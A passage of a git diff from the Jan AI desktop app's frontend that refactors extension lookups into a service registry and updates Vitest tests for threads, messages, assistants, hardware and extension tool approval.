)} else if (mcpToolNames.has(toolName)) {// Give the backend the budget scaled to the window; it narrows// that against the user's configured ceiling. Cancellable, so@@ -1192,11 +1214,12 @@ function ThreadDetail() {const projectId = thread?.metadata?.project?.idif (projectId) {try {- const ext = ExtensionManager.getInstance().get<VectorDBExtension>(- ExtensionTypeEnum.VectorDB+ const vectorDB = getExtensionHost().services.get(+ ServiceKeys.VectorDB)- if (ext?.listAttachmentsForProject) {- const projectFiles = await ext.listAttachmentsForProject(projectId)+ if (vectorDB) {+ const projectFiles =+ await vectorDB.listAttachmentsForProject(projectId)hasProjectDocuments = projectFiles.length > 0}} catch (error) {@@ -2345,6 +2368,7 @@ function ThreadDetail() {onSwitchVersion={handleSwitchVersion}isAnimating={!pendingContinueMessage}hideActions={!!pendingContinueMessage}+ threadId={threadId}/>)})}diff --git a/web-app/src/routes/threads/__tests__/$threadId.test.tsx b/web-app/src/routes/threads/__tests__/$threadId.test.tsxindex 76f51a3ab..716063719 100644--- a/web-app/src/routes/threads/__tests__/$threadId.test.tsx+++ b/web-app/src/routes/threads/__tests__/$threadId.test.tsx@@ -53,6 +53,12 @@ const h = vi.hoisted(() => {ragToolNames: new Set<string>(),mcpToolNames: new Set<string>(),tools: [] as Array<{ name: string; server?: string }>,+ extensionTools: [] as Array<{+ wireName: string+ extensionId: string+ name: string+ server: string+ }>,setOomError: vi.fn(),setBackendError: vi.fn(),busyThreads: {} as Record<string, boolean>,@@ -316,16 +322,6 @@ vi.mock('@/lib/instructionTemplate', () => ({renderInstructions: (i: string) => `rendered:${i}`,}))-vi.mock('@/lib/extension', () => ({- ExtensionManager: {- getInstance: () => ({- get: () => ({- listAttachmentsForProject: vi.fn().mockResolvedValue([]),- }),- }),- },-}))-vi.mock('@/lib/messages', () => ({convertThreadMessagesToUIMessages: (msgs: any[]) =>msgs.map((m) => ({@@ -424,6 +420,15 @@ vi.mock('@/hooks/use-chat', () => ({vi.mock('@/hooks/useThreads', () => ({ useThreads: h.useThreadsMock }))vi.mock('@/hooks/useMessages', () => ({ useMessages: h.useMessagesMock }))vi.mock('@/hooks/useTools', () => ({ useTools: vi.fn() }))+const extensionHost = vi.hoisted(() => ({+ callTool: vi.fn(),+ services: {+ get: () => ({ listAttachmentsForProject: vi.fn().mockResolvedValue([]) }),+ },+}))+vi.mock('@/lib/extensions/host', () => ({+ getExtensionHost: () => extensionHost,+}))vi.mock('@/hooks/useAppState', () => ({ useAppState: h.useAppStateMock }))vi.mock('@/hooks/useModelProvider', () => ({ useModelProvider: h.useModelProviderMock }))vi.mock('@/stores/chat-session-store', () => ({ useChatSessions: h.useChatSessionsMock }))@@ -466,8 +471,7 @@ vi.mock('@janhq/core', () => ({MessageStatus: { Ready: 'ready' },ChatCompletionRole: { Assistant: 'assistant', User: 'user' },ContentType: { Text: 'text' },- ExtensionTypeEnum: { VectorDB: 'vectorDB' },- VectorDBExtension: class {},+ ServiceKeys: { VectorDB: { id: 'vector-db' } },}))vi.mock('@/constants/chat', () => ({@@ -565,6 +569,7 @@ describe('ThreadDetail route', () => {h.appStateState.ragToolNames = new Set<string>()h.appStateState.mcpToolNames = new Set<string>()h.appStateState.tools = []+ h.appStateState.extensionTools = []h.toolApprovalState.requestApproval = vi.fn().mockResolvedValue(true)hub.mcp = realMcpuseToolCallRuntime.getState().reset()@@ -2789,6 +2794,96 @@ describe('ThreadDetail route', () => {})})+ describe('extension tools', () => {+ const wireName = 'x_acme_one__echo'+ const extToolCall = (id: string) => ({+ toolCall: { toolCallId: id, toolName: wireName, input: { text: 'hi' } },+ })+ beforeEach(() => {+ h.appStateState.extensionTools = [+ {+ wireName,+ extensionId: 'acme.one',+ name: 'echo',+ server: 'ext:acme.one',+ },+ ]+ extensionHost.callTool.mockReset()+ })++ it('asks for approval under the extension and runs the tool in its host', async () => {+ extensionHost.callTool.mockResolvedValue({+ content: [{ type: 'text', text: 'HI' }],+ })+ renderComponent()+ await act(async () => {+ await (h as any).capturedOnToolCall(extToolCall('te1'))+ })+ await act(async () => {+ await finishWithToolCalls()+ })++ expect(h.toolApprovalState.requestApproval).toHaveBeenCalledWith(+ 'te1',+ wireName,+ 'thread-1',+ 'ext:acme.one'+ )+ expect(extensionHost.callTool).toHaveBeenCalledWith(+ 'acme.one',+ 'echo',+ { text: 'hi' },+ expect.objectContaining({ signal: expect.any(AbortSignal) })+ )+ expect(h.mockAddToolOutput).toHaveBeenCalledWith(+ expect.objectContaining({+ toolCallId: 'te1',+ output: [{ type: 'text', text: 'HI' }],+ })+ )+ })++ it('does not run a denied extension tool', async () => {+ h.toolApprovalState.requestApproval = vi.fn().mockResolvedValue(false)+ renderComponent()+ await act(async () => {+ await (h as any).capturedOnToolCall(extToolCall('te2'))+ })+ await act(async () => {+ await finishWithToolCalls()+ })+ expect(extensionHost.callTool).not.toHaveBeenCalled()+ })++ it('Stop aborts the signal the extension call was given', async () => {+ let signal: AbortSignal | undefined+ extensionHost.callTool.mockImplementation(+ (_e: string, _n: string, _i: unknown, opts: { signal: AbortSignal }) => {+ signal = opts.signal+ return new Promise(() => {})+ }+ )+ h.mockAddToolOutput.mockClear()+ renderComponent()+ await act(async () => {+ await (h as any).capturedOnToolCall(extToolCall('te3'))+ })+ await act(async () => {+ await finishWithToolCalls()+ })+ expect(signal?.aborted).toBe(false)+ await act(async () => {+ screen.getByTestId('chat-stop').click()+ })+ expect(signal?.aborted).toBe(true)+ expect(h.mockAddToolOutput).not.toHaveBeenCalled()+ expect(h.appStateState.setThreadBusy).toHaveBeenLastCalledWith(+ 'thread-1',+ false+ )+ })+ })+it('marks the thread busy during onFinish execution and clears it when tools drain', async () => {h.appStateState.mcpToolNames = new Set(['fetch'])h.toolApprovalState.requestApproval = vi.fn().mockResolvedValue(true)diff --git a/web-app/src/services/__tests__/app.test.ts b/web-app/src/services/__tests__/app.test.tsindex 62e4aae0c..bfdab5c91 100644--- a/web-app/src/services/__tests__/app.test.ts+++ b/web-app/src/services/__tests__/app.test.ts@@ -36,7 +36,6 @@ vi.mock('../models', () => ({const mockWindow = {core: {api: {- installExtensions: vi.fn(),relaunch: vi.fn(),getAppConfigurations: vi.fn(),changeAppDataFolder: vi.fn(),diff --git a/web-app/src/services/__tests__/assistants.test.ts b/web-app/src/services/__tests__/assistants.test.tsindex 0fe92f6b7..be413cc95 100644--- a/web-app/src/services/__tests__/assistants.test.ts+++ b/web-app/src/services/__tests__/assistants.test.ts@@ -1,133 +1,111 @@import { describe, it, expect, vi, beforeEach } from 'vitest'+import {+ ServiceKeys,+ createServiceRegistry,+ type Assistant,+ type AssistantService,+ type ServiceRegistry,+} from '@janhq/core'import { DefaultAssistantsService } from '../assistants/default'-import { ExtensionManager } from '@/lib/extension'-import { ExtensionTypeEnum } from '@janhq/core'-// Mock the ExtensionManager-vi.mock('@/lib/extension', () => ({- ExtensionManager: {- getInstance: vi.fn(() => ({- get: vi.fn()- }))- }+const h = vi.hoisted(() => ({ services: undefined as unknown }))++vi.mock('@/lib/extensions/host', () => ({+ getExtensionHost: () => ({ services: h.services }),}))+const assistant = (id: string) =>+ ({ id, name: id, description: id }) as unknown as Assistant+describe('DefaultAssistantsService', () => {let assistantsService: DefaultAssistantsService-- const mockExtension = {+ let services: ServiceRegistry+ const impl = {getAssistants: vi.fn(),createAssistant: vi.fn(),- deleteAssistant: vi.fn()- }-- const mockExtensionManager = {- get: vi.fn()- }+ deleteAssistant: vi.fn(),+ } satisfies AssistantServicebeforeEach(() => {- assistantsService = new DefaultAssistantsService()vi.clearAllMocks()- vi.mocked(ExtensionManager.getInstance).mockReturnValue(mockExtensionManager)- mockExtensionManager.get.mockReturnValue(mockExtension)+ services = createServiceRegistry()+ h.services = services+ assistantsService = new DefaultAssistantsService()})- describe('getAssistants', () => {- it('should fetch assistants successfully', async () => {- const mockAssistants = [- { id: 'assistant1', name: 'Assistant 1', description: 'First assistant' },- { id: 'assistant2', name: 'Assistant 2', description: 'Second assistant' }- ]- mockExtension.getAssistants.mockResolvedValue(mockAssistants)+ const provide = () => services.provide(ServiceKeys.Assistants, impl)- const result = await assistantsService.getAssistants()-- expect(mockExtensionManager.get).toHaveBeenCalledWith(ExtensionTypeEnum.Assistant)- expect(mockExtension.getAssistants).toHaveBeenCalled()- expect(result).toEqual(mockAssistants)+ describe('getAssistants', () => {+ it('returns the assistants of the provided Assistants service', async () => {+ provide()+ const list = [assistant('a1'), assistant('a2')]+ impl.getAssistants.mockResolvedValue(list)+ await expect(assistantsService.getAssistants()).resolves.toEqual(list)})- it('should return null when extension not found', async () => {- mockExtensionManager.get.mockReturnValue(null)-- const consoleSpy = vi.spyOn(console, 'warn').mockImplementation(() => {})-- const result = await assistantsService.getAssistants()-- expect(mockExtensionManager.get).toHaveBeenCalledWith(ExtensionTypeEnum.Assistant)- expect(consoleSpy).toHaveBeenCalledWith('AssistantExtension not found')- expect(result).toBeNull()-- consoleSpy.mockRestore()+ it('returns null and warns when no Assistants service is provided', async () => {+ const warn = vi.spyOn(console, 'warn').mockImplementation(() => {})+ await expect(assistantsService.getAssistants()).resolves.toBeNull()+ expect(warn).toHaveBeenCalledWith('Assistants service not available')+ warn.mockRestore()})- it('should handle error when getting assistants', async () => {- const error = new Error('Failed to get assistants')- mockExtension.getAssistants.mockRejectedValue(error)-- await expect(assistantsService.getAssistants()).rejects.toThrow('Failed to get assistants')+ it('propagates a failure of the service', async () => {+ provide()+ impl.getAssistants.mockRejectedValue(new Error('Failed to get assistants'))+ await expect(assistantsService.getAssistants()).rejects.toThrow(+ 'Failed to get assistants'+ )})})describe('createAssistant', () => {- it('should create assistant successfully', async () => {- const assistant = { id: 'new-assistant', name: 'New Assistant', description: 'New assistant' }- mockExtension.createAssistant.mockResolvedValue(assistant)-- const result = await assistantsService.createAssistant(assistant)-- expect(mockExtensionManager.get).toHaveBeenCalledWith(ExtensionTypeEnum.Assistant)- expect(mockExtension.createAssistant).toHaveBeenCalledWith(assistant)- expect(result).toBeUndefined()+ it('delegates to the Assistants service', async () => {+ provide()+ impl.createAssistant.mockResolvedValue(undefined)+ const a = assistant('new')+ await expect(assistantsService.createAssistant(a)).resolves.toBeUndefined()+ expect(impl.createAssistant).toHaveBeenCalledWith(a)})- it('should return undefined when extension not found', async () => {- mockExtensionManager.get.mockReturnValue(null)- const assistant = { id: 'new-assistant', name: 'New Assistant', description: 'New assistant' }-- const result = await assistantsService.createAssistant(assistant)-- expect(mockExtensionManager.get).toHaveBeenCalledWith(ExtensionTypeEnum.Assistant)- expect(result).toBeUndefined()+ it('does nothing when no Assistants service is provided', async () => {+ await expect(+ assistantsService.createAssistant(assistant('new'))+ ).resolves.toBeUndefined()+ expect(impl.createAssistant).not.toHaveBeenCalled()})- it('should handle error when creating assistant', async () => {- const assistant = { id: 'new-assistant', name: 'New Assistant', description: 'New assistant' }- const error = new Error('Failed to create assistant')- mockExtension.createAssistant.mockRejectedValue(error)-- await expect(assistantsService.createAssistant(assistant)).rejects.toThrow('Failed to create assistant')+ it('propagates a failure of the service', async () => {+ provide()+ impl.createAssistant.mockRejectedValue(new Error('Failed to create assistant'))+ await expect(+ assistantsService.createAssistant(assistant('new'))+ ).rejects.toThrow('Failed to create assistant')})})describe('deleteAssistant', () => {- it('should delete assistant successfully', async () => {- const assistant = { id: 'assistant-to-delete', name: 'Assistant to Delete', description: 'Delete me' }- mockExtension.deleteAssistant.mockResolvedValue(undefined)-- const result = await assistantsService.deleteAssistant(assistant)-- expect(mockExtensionManager.get).toHaveBeenCalledWith(ExtensionTypeEnum.Assistant)- expect(mockExtension.deleteAssistant).toHaveBeenCalledWith(assistant)- expect(result).toBeUndefined()+ it('delegates to the Assistants service', async () => {+ provide()+ impl.deleteAssistant.mockResolvedValue(undefined)+ const a = assistant('gone')+ await expect(assistantsService.deleteAssistant(a)).resolves.toBeUndefined()+ expect(impl.deleteAssistant).toHaveBeenCalledWith(a)})- it('should return undefined when extension not found', async () => {- mockExtensionManager.get.mockReturnValue(null)- const assistant = { id: 'assistant-to-delete', name: 'Assistant to Delete', description: 'Delete me' }-- const result = await assistantsService.deleteAssistant(assistant)-- expect(mockExtensionManager.get).toHaveBeenCalledWith(ExtensionTypeEnum.Assistant)- expect(result).toBeUndefined()+ it('does nothing when no Assistants service is provided', async () => {+ await expect(+ assistantsService.deleteAssistant(assistant('gone'))+ ).resolves.toBeUndefined()+ expect(impl.deleteAssistant).not.toHaveBeenCalled()})- it('should handle error when deleting assistant', async () => {- const assistant = { id: 'assistant-to-delete', name: 'Assistant to Delete', description: 'Delete me' }- const error = new Error('Failed to delete assistant')- mockExtension.deleteAssistant.mockRejectedValue(error)-- await expect(assistantsService.deleteAssistant(assistant)).rejects.toThrow('Failed to delete assistant')+ it('propagates a failure of the service', async () => {+ provide()+ impl.deleteAssistant.mockRejectedValue(new Error('Failed to delete assistant'))+ await expect(+ assistantsService.deleteAssistant(assistant('gone'))+ ).rejects.toThrow('Failed to delete assistant')})})})diff --git a/web-app/src/services/__tests__/hardware.test.ts b/web-app/src/services/__tests__/hardware.test.tsindex 69ccb0423..f8f35f5e0 100644--- a/web-app/src/services/__tests__/hardware.test.ts+++ b/web-app/src/services/__tests__/hardware.test.ts@@ -1,11 +1,12 @@import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'import { TauriHardwareService } from '../hardware/tauri'import { HardwareData, SystemUsage } from '@/hooks/useHardware'-import { invoke } from '@tauri-apps/api/core'+import { getSystemInfo, getSystemUsage } from '@janhq/tauri-plugin-hardware-api'-// Mock @tauri-apps/api/core-vi.mock('@tauri-apps/api/core', () => ({- invoke: vi.fn(),+vi.mock('@janhq/tauri-plugin-hardware-api', () => ({+ getSystemInfo: vi.fn(),+ getSystemUsage: vi.fn(),+ refreshSystemInfo: vi.fn(),}))describe('TauriHardwareService', () => {@@ -17,7 +18,7 @@ describe('TauriHardwareService', () => {})describe('getHardwareInfo', () => {- it('should call invoke with correct command and return hardware data', async () => {+ it('should read it through the hardware plugin and return hardware data', async () => {const mockHardwareData: HardwareData = {cpu: {arch: 'x86_64',@@ -51,23 +52,23 @@ describe('TauriHardwareService', () => {total_memory: 16384,}- vi.mocked(invoke).mockResolvedValue(mockHardwareData)+ vi.mocked(getSystemInfo).mockResolvedValue(mockHardwareData)const result = await hardwareService.getHardwareInfo()- expect(vi.mocked(invoke)).toHaveBeenCalledWith('plugin:hardware|get_system_info')+ expect(vi.mocked(getSystemInfo)).toHaveBeenCalled()expect(result).toEqual(mockHardwareData)})- it('should handle invoke rejection', async () => {+ it('should propagate a plugin rejection', async () => {const mockError = new Error('Failed to get hardware info')- vi.mocked(invoke).mockRejectedValue(mockError)+ vi.mocked(getSystemInfo).mockRejectedValue(mockError)await expect(hardwareService.getHardwareInfo()).rejects.toThrow('Failed to get hardware info')- expect(vi.mocked(invoke)).toHaveBeenCalledWith('plugin:hardware|get_system_info')+ expect(vi.mocked(getSystemInfo)).toHaveBeenCalled()})- it('should return correct type from invoke', async () => {+ it('should return the plugin data', async () => {const mockHardwareData: HardwareData = {cpu: {arch: 'arm64',@@ -82,7 +83,7 @@ describe('TauriHardwareService', () => {total_memory: 8192,}- vi.mocked(invoke).mockResolvedValue(mockHardwareData)+ vi.mocked(getSystemInfo).mockResolvedValue(mockHardwareData)const result = await hardwareService.getHardwareInfo()@@ -97,7 +98,7 @@ describe('TauriHardwareService', () => {})describe('getSystemUsage', () => {- it('should call invoke with correct command and return system usage data', async () => {+ it('should read it through the hardware plugin and return system usage data', async () => {const mockSystemUsage: SystemUsage = {cpu: 45.5,used_memory: 8192,@@ -111,23 +112,23 @@ describe('TauriHardwareService', () => {],}- vi.mocked(invoke).mockResolvedValue(mockSystemUsage)+ vi.mocked(getSystemUsage).mockResolvedValue(mockSystemUsage)const result = await hardwareService.getSystemUsage()- expect(vi.mocked(invoke)).toHaveBeenCalledWith('plugin:hardware|get_system_usage')+ expect(vi.mocked(getSystemUsage)).toHaveBeenCalled()expect(result).toEqual(mockSystemUsage)})- it('should handle invoke rejection', async () => {+ it('should propagate a plugin rejection', async () => {const mockError = new Error('Failed to get system usage')- vi.mocked(invoke).mockRejectedValue(mockError)+ vi.mocked(getSystemUsage).mockRejectedValue(mockError)await expect(hardwareService.getSystemUsage()).rejects.toThrow('Failed to get system usage')- expect(vi.mocked(invoke)).toHaveBeenCalledWith('plugin:hardware|get_system_usage')+ expect(vi.mocked(getSystemUsage)).toHaveBeenCalled()})- it('should return correct type from invoke', async () => {+ it('should return the plugin data', async () => {const mockSystemUsage: SystemUsage = {cpu: 25.0,used_memory: 4096,@@ -135,7 +136,7 @@ describe('TauriHardwareService', () => {gpus: [],}- vi.mocked(invoke).mockResolvedValue(mockSystemUsage)+ vi.mocked(getSystemUsage).mockResolvedValue(mockSystemUsage)const result = await hardwareService.getSystemUsage()@@ -165,7 +166,7 @@ describe('TauriHardwareService', () => {],}- vi.mocked(invoke).mockResolvedValue(mockSystemUsage)+ vi.mocked(getSystemUsage).mockResolvedValue(mockSystemUsage)const result = await hardwareService.getSystemUsage()@@ -246,9 +247,8 @@ describe('TauriHardwareService', () => {gpus: [],}- vi.mocked(invoke)- .mockResolvedValueOnce(mockHardwareData)- .mockResolvedValueOnce(mockSystemUsage)+ vi.mocked(getSystemInfo).mockResolvedValueOnce(mockHardwareData)+ vi.mocked(getSystemUsage).mockResolvedValueOnce(mockSystemUsage)const [hardwareResult, usageResult] = await Promise.all([hardwareService.getHardwareInfo(),@@ -257,9 +257,8 @@ describe('TauriHardwareService', () => {expect(hardwareResult).toEqual(mockHardwareData)expect(usageResult).toEqual(mockSystemUsage)- expect(vi.mocked(invoke)).toHaveBeenCalledTimes(2)- expect(vi.mocked(invoke)).toHaveBeenNthCalledWith(1, 'plugin:hardware|get_system_info')- expect(vi.mocked(invoke)).toHaveBeenNthCalledWith(2, 'plugin:hardware|get_system_usage')+ expect(vi.mocked(getSystemInfo)).toHaveBeenCalledTimes(1)+ expect(vi.mocked(getSystemUsage)).toHaveBeenCalledTimes(1)})})})diff --git a/web-app/src/services/__tests__/index.coverage.test.ts b/web-app/src/services/__tests__/index.coverage.test.tsindex 40073ba04..7d7ef53b1 100644--- a/web-app/src/services/__tests__/index.coverage.test.ts+++ b/web-app/src/services/__tests__/index.coverage.test.ts@@ -25,7 +25,6 @@ vi.mock('../updater/tauri', () => ({ TauriUpdaterService: vi.fn().mockImplementavi.mock('../path/tauri', () => ({ TauriPathService: vi.fn().mockImplementation(() => ({})) }))vi.mock('../core/tauri', () => ({ TauriCoreService: vi.fn().mockImplementation(() => ({})) }))vi.mock('../deeplink/tauri', () => ({ TauriDeepLinkService: vi.fn().mockImplementation(() => ({})) }))-vi.mock('../core/mobile', () => ({ MobileCoreService: vi.fn().mockImplementation(() => ({})) }))vi.spyOn(console, 'log').mockImplementation(() => {})vi.spyOn(console, 'error').mockImplementation(() => {})diff --git a/web-app/src/services/__tests__/messages.test.ts b/web-app/src/services/__tests__/messages.test.tsindex 21032bb76..e13d75ff4 100644--- a/web-app/src/services/__tests__/messages.test.ts+++ b/web-app/src/services/__tests__/messages.test.ts@@ -1,161 +1,138 @@-import { describe, it, expect, vi, beforeEach } from 'vitest'+import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'+import type { ThreadMessage } from '@janhq/core'import { DefaultMessagesService } from '../messages/default'-import { ExtensionManager } from '@/lib/extension'-import { ExtensionTypeEnum } from '@janhq/core'--// Mock the ExtensionManager-vi.mock('@/lib/extension', () => ({- ExtensionManager: {- getInstance: vi.fn(() => ({- get: vi.fn()- }))- }-}))++// The service calls the backend routes on window.core.api directly; no+// extension has to be registered for messages to work.+const api = {+ listMessages: vi.fn(),+ createMessage: vi.fn(),+ modifyMessage: vi.fn(),+ deleteMessage: vi.fn(),+}++const message = (over: Partial<ThreadMessage> = {}) =>+ ({ id: 'msg-1', thread_id: 'thread-123', role: 'user', ...over }) as ThreadMessagedescribe('DefaultMessagesService', () => {let messagesService: DefaultMessagesService-- const mockExtension = {- listMessages: vi.fn(),- createMessage: vi.fn(),- deleteMessage: vi.fn()- }-- const mockExtensionManager = {- get: vi.fn()- }+ const originalCore = window.corebeforeEach(() => {messagesService = new DefaultMessagesService()vi.clearAllMocks()- vi.mocked(ExtensionManager.getInstance).mockReturnValue(mockExtensionManager)- mockExtensionManager.get.mockReturnValue(mockExtension)+ window.core = { api } as unknown as typeof window.core+ })++ afterEach(() => {+ window.core = originalCore})describe('fetchMessages', () => {it('should fetch messages successfully', async () => {const threadId = 'thread-123'- const mockMessages = [- { id: 'msg-1', threadId, content: 'Hello', role: 'user' },- { id: 'msg-2', threadId, content: 'Hi there!', role: 'assistant' }- ]- mockExtension.listMessages.mockResolvedValue(mockMessages)+ const mockMessages = [message(), message({ id: 'msg-2', role: 'assistant' })]+ api.listMessages.mockResolvedValue(mockMessages)const result = await messagesService.fetchMessages(threadId)- expect(mockExtensionManager.get).toHaveBeenCalledWith(ExtensionTypeEnum.Conversational)- expect(mockExtension.listMessages).toHaveBeenCalledWith(threadId)+ expect(api.listMessages).toHaveBeenCalledWith({ threadId })expect(result).toEqual(mockMessages)})- it('should return empty array when extension not found', async () => {- mockExtensionManager.get.mockReturnValue(null)- const threadId = 'thread-123'-- const result = await messagesService.fetchMessages(threadId)+ it('should return empty array when the backend is unavailable', async () => {+ window.core = undefined- expect(mockExtensionManager.get).toHaveBeenCalledWith(ExtensionTypeEnum.Conversational)- expect(result).toEqual([])+ expect(await messagesService.fetchMessages('thread-123')).toEqual([])})it('should return empty array when listMessages fails', async () => {- const threadId = 'thread-123'- const error = new Error('Failed to list messages')- mockExtension.listMessages.mockRejectedValue(error)+ api.listMessages.mockRejectedValue(new Error('Failed to list messages'))- const result = await messagesService.fetchMessages(threadId)+ const result = await messagesService.fetchMessages('thread-123')- expect(mockExtensionManager.get).toHaveBeenCalledWith(ExtensionTypeEnum.Conversational)- expect(mockExtension.listMessages).toHaveBeenCalledWith(threadId)+ expect(api.listMessages).toHaveBeenCalledWith({ threadId: 'thread-123' })expect(result).toEqual([])})it('should handle undefined listMessages response', async () => {- const threadId = 'thread-123'- mockExtension.listMessages.mockReturnValue(undefined)+ api.listMessages.mockReturnValue(undefined)- const result = await messagesService.fetchMessages(threadId)-- expect(result).toEqual([])+ expect(await messagesService.fetchMessages('thread-123')).toEqual([])})})describe('createMessage', () => {it('should create message successfully', async () => {- const message = { id: 'msg-1', threadId: 'thread-123', content: 'Hello', role: 'user' }- mockExtension.createMessage.mockResolvedValue(message)+ const msg = message()+ api.createMessage.mockResolvedValue(msg)- const result = await messagesService.createMessage(message)+ const result = await messagesService.createMessage(msg)- expect(mockExtensionManager.get).toHaveBeenCalledWith(ExtensionTypeEnum.Conversational)- expect(mockExtension.createMessage).toHaveBeenCalledWith(message)- expect(result).toEqual(message)+ expect(api.createMessage).toHaveBeenCalledWith({ message: msg })+ expect(result).toEqual(msg)})- it('should return original message when extension not found', async () => {- mockExtensionManager.get.mockReturnValue(null)- const message = { id: 'msg-1', threadId: 'thread-123', content: 'Hello', role: 'user' }+ it('should return original message when the backend is unavailable', async () => {+ window.core = undefined+ const msg = message()- const result = await messagesService.createMessage(message)-- expect(mockExtensionManager.get).toHaveBeenCalledWith(ExtensionTypeEnum.Conversational)- expect(result).toEqual(message)+ expect(await messagesService.createMessage(msg)).toBe(msg)})it('should return original message when createMessage fails', async () => {- const message = { id: 'msg-1', threadId: 'thread-123', content: 'Hello', role: 'user' }- const error = new Error('Failed to create message')- mockExtension.createMessage.mockRejectedValue(error)+ const msg = message()+ api.createMessage.mockRejectedValue(new Error('Failed to create message'))++ expect(await messagesService.createMessage(msg)).toBe(msg)+ })- const result = await messagesService.createMessage(message)+ it('should keep the original message when the backend returns nothing (web build)', async () => {+ const msg = message()+ api.createMessage.mockResolvedValue(null)+ api.modifyMessage.mockResolvedValue(null)+ api.listMessages.mockResolvedValue(null)- expect(mockExtensionManager.get).toHaveBeenCalledWith(ExtensionTypeEnum.Conversational)- expect(mockExtension.createMessage).toHaveBeenCalledWith(message)- expect(result).toEqual(message)+ expect(await messagesService.createMessage(msg)).toBe(msg)+ expect(await messagesService.modifyMessage(msg)).toBe(msg)+ expect(await messagesService.fetchMessages('thread-123')).toEqual([])})it('should handle undefined createMessage response', async () => {- const message = { id: 'msg-1', threadId: 'thread-123', content: 'Hello', role: 'user' }- mockExtension.createMessage.mockReturnValue(undefined)+ const msg = message()+ api.createMessage.mockReturnValue(undefined)- const result = await messagesService.createMessage(message)-- expect(result).toEqual(message)+ expect(await messagesService.createMessage(msg)).toBe(msg)})})describe('deleteMessage', () => {it('should delete message successfully', async () => {- const threadId = 'thread-123'- const messageId = 'msg-1'- mockExtension.deleteMessage.mockResolvedValue(undefined)+ api.deleteMessage.mockResolvedValue(undefined)- const result = await messagesService.deleteMessage(threadId, messageId)+ const result = await messagesService.deleteMessage('thread-123', 'msg-1')- expect(mockExtensionManager.get).toHaveBeenCalledWith(ExtensionTypeEnum.Conversational)- expect(mockExtension.deleteMessage).toHaveBeenCalledWith(threadId, messageId)+ expect(api.deleteMessage).toHaveBeenCalledWith({+ threadId: 'thread-123',+ messageId: 'msg-1',+ })expect(result).toBeUndefined()})- it('should return undefined when extension not found', async () => {- mockExtensionManager.get.mockReturnValue(null)- const threadId = 'thread-123'- const messageId = 'msg-1'-- const result = await messagesService.deleteMessage(threadId, messageId)+ it('should return undefined when the backend is unavailable', async () => {+ window.core = undefined- expect(mockExtensionManager.get).toHaveBeenCalledWith(ExtensionTypeEnum.Conversational)- expect(result).toBeUndefined()+ expect(+ await messagesService.deleteMessage('thread-123', 'msg-1')+ ).toBeUndefined()})- it('should handle deleteMessage error', async () => {- const threadId = 'thread-123'- const messageId = 'msg-1'- const error = new Error('Failed to delete message')- mockExtension.deleteMessage.mockRejectedValue(error)+ it('should propagate deleteMessage errors', async () => {+ api.deleteMessage.mockRejectedValue(new Error('Failed to delete message'))- // Since deleteMessage doesn't have error handling, the error will propagate- await expect(messagesService.deleteMessage(threadId, messageId)).rejects.toThrow('Failed to delete message')+ await expect(+ messagesService.deleteMessage('thread-123', 'msg-1')+ ).rejects.toThrow('Failed to delete message')})})})diff --git a/web-app/src/services/__tests__/serviceHub.integration.test.ts b/web-app/src/services/__tests__/serviceHub.integration.test.tsindex b39a24831..2fb1d7f65 100644--- a/web-app/src/services/__tests__/serviceHub.integration.test.ts+++ b/web-app/src/services/__tests__/serviceHub.integration.test.ts@@ -30,15 +30,6 @@ vi.mock('token.js', () => ({models: {}}))-// Mock ExtensionManager to avoid initialization issues-vi.mock('@/lib/extension', () => ({- ExtensionManager: {- getInstance: vi.fn(() => ({- getEngine: vi.fn()- }))- }-}))-// Mock dynamic imports for web servicesvi.mock('../theme/web', () => ({WebThemeService: vi.fn().mockImplementation(() => ({diff --git a/web-app/src/services/__tests__/threads.test.ts b/web-app/src/services/__tests__/threads.test.tsindex aaaa2cfbd..ac5992d68 100644--- a/web-app/src/services/__tests__/threads.test.ts+++ b/web-app/src/services/__tests__/threads.test.ts@@ -1,33 +1,32 @@-import { describe, it, expect, vi, beforeEach } from 'vitest'+import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'import { DefaultThreadsService } from '../threads/default'-import { ExtensionManager } from '@/lib/extension'-import { ConversationalExtension, ExtensionTypeEnum } from '@janhq/core'+import { TEMPORARY_CHAT_ID } from '@/constants/chat'-// Mock ExtensionManager-vi.mock('@/lib/extension', () => ({- ExtensionManager: {- getInstance: vi.fn(),- },-}))+// The service calls the backend routes on window.core.api directly; no+// extension has to be registered for threads to work.+const api = {+ listThreads: vi.fn(),+ createThread: vi.fn(),+ modifyThread: vi.fn(),+ deleteThread: vi.fn(),+}describe('DefaultThreadsService', () => {let threadsService: DefaultThreadsService- const mockConversationalExtension = {- listThreads: vi.fn(),- createThread: vi.fn(),- modifyThread: vi.fn(),- deleteThread: vi.fn(),- }-- const mockExtensionManager = {- get: vi.fn().mockReturnValue(mockConversationalExtension),- }+ const originalCore = window.core+ // The routes take the thread wrapped as `{ thread }`.+ const sentThread = (route: ReturnType<typeof vi.fn>) =>+ route.mock.calls[0][0].threadbeforeEach(() => {threadsService = new DefaultThreadsService()vi.clearAllMocks()- ;(ExtensionManager.getInstance as any).mockReturnValue(mockExtensionManager)+ window.core = { api } as unknown as typeof window.core+ })++ afterEach(() => {+ window.core = originalCore})describe('fetchThreads', () => {@@ -42,7 +41,7 @@ describe('DefaultThreadsService', () => {},]- mockConversationalExtension.listThreads.mockResolvedValue(mockThreads)+ api.listThreads.mockResolvedValue(mockThreads)const result = await threadsService.fetchThreads()@@ -76,7 +75,7 @@ describe('DefaultThreadsService', () => {},]- mockConversationalExtension.listThreads.mockResolvedValue(mockThreads)+ api.listThreads.mockResolvedValue(mockThreads)const result = await threadsService.fetchThreads()@@ -102,7 +101,7 @@ describe('DefaultThreadsService', () => {})it('should default provider to llamacpp when engine is missing in stored thread', async () => {- mockConversationalExtension.listThreads.mockResolvedValue([+ api.listThreads.mockResolvedValue([{id: '1',title: 'T',@@ -115,7 +114,7 @@ describe('DefaultThreadsService', () => {})it('should handle empty threads array', async () => {- mockConversationalExtension.listThreads.mockResolvedValue([])+ api.listThreads.mockResolvedValue([])const result = await threadsService.fetchThreads()@@ -123,7 +122,7 @@ describe('DefaultThreadsService', () => {})it('should handle null/undefined response', async () => {- mockConversationalExtension.listThreads.mockResolvedValue(null)+ api.listThreads.mockResolvedValue(null)const result = await threadsService.fetchThreads()@@ -155,7 +154,7 @@ describe('DefaultThreadsService', () => {metadata: { order: 1 },}- mockConversationalExtension.createThread.mockResolvedValue(+ api.createThread.mockResolvedValue(mockCreatedThread)@@ -179,7 +178,7 @@ describe('DefaultThreadsService', () => {model: { id: 